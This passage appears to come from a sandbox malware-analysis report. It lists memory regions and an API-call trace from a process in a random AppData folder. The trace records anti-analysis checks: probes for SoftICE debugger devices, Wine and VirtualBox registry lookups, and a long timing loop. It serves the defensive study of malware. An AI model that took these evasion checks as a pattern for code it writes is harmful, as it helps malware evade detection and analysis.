	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3440
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3441
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3442
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3496
	        start_va = 0x9000000
	          end_va = 0x9008fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3497
	        start_va = 0x9000000
	          end_va = 0x9008fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3498
	        start_va = 0x9000000
	          end_va = 0x9008fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3541
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3542
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3543
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3544
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3545
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3546
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3547
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3548
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3549
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3550
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3551
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3552
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3553
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3554
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3555
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3557
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3558
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3559
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3560
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3561
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3562
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3563
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3564
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3565
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3566
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3567
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3568
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3672
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3673
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3674
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3675
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3676
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3677
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3678
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3679
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""

Region:
	              id = 3680
	        start_va = 0x9000000
	          end_va = 0x9007fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000009000000"
	        filename = ""


Thread:
	id = 18
	os_tid = 0xd04

	[0093.099] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74d70000
	[0096.012] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77990000
	[0097.389] LoadLibraryA (lpLibFileName="NTDLL.dll") returned 0x77c40000
	[0097.389] GetLocalTime (in: lpSystemTime=0x1b37ed7 | out: lpSystemTime=0x1b37ed7*(wYear=0x7e2, wMonth=0x5, wDayOfWeek=0x3, wDay=0x2, wHour=0x17, wMinute=0x1b, wSecond=0x2f, wMilliseconds=0x12c)) 
	[0097.396] CreateFileA (lpFileName="\\\\.\\SICE" (normalized: "sice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0097.400] CreateFileA (lpFileName="\\\\.\\SIWVID" (normalized: "siwvid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0097.404] CreateFileA (lpFileName="\\\\.\\NTICE" (normalized: "ntice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0097.406] GetCommandLineA () returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe"
	[0097.408] GetVersionExA (in: lpVersionInformation=0x1b45c24*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1b45c24*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0097.408] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Wine", phkResult=0x1b459ff | out: phkResult=0x1b459ff*=0x0) returned 0x2
	[0097.408] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x1b459ff | out: phkResult=0x1b459ff*=0x0) returned 0x2
	[0097.409] GetProcAddress (hModule=0x77670000, lpProcName="GetNativeSystemInfo") returned 0x7768a410
	[0097.409] GetNativeSystemInfo (in: lpSystemInfo=0x1b45bff | out: lpSystemInfo=0x1b45bff*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) 
	[0097.409] GetVersion () returned 0x23f00206
	[0097.409] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74b70000
	[0098.204] GetProcAddress (hModule=0x74b70000, lpProcName="timeGetTime") returned 0x74b73a10
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.204] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.205] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.206] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.207] timeGetTime () returned 0x2aea5
	[0098.342] timeGetTime () returned 0x2af31
	[0098.342] Sleep (dwMilliseconds=0x32) 
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.401] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.402] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.403] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.404] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.405] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.406] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
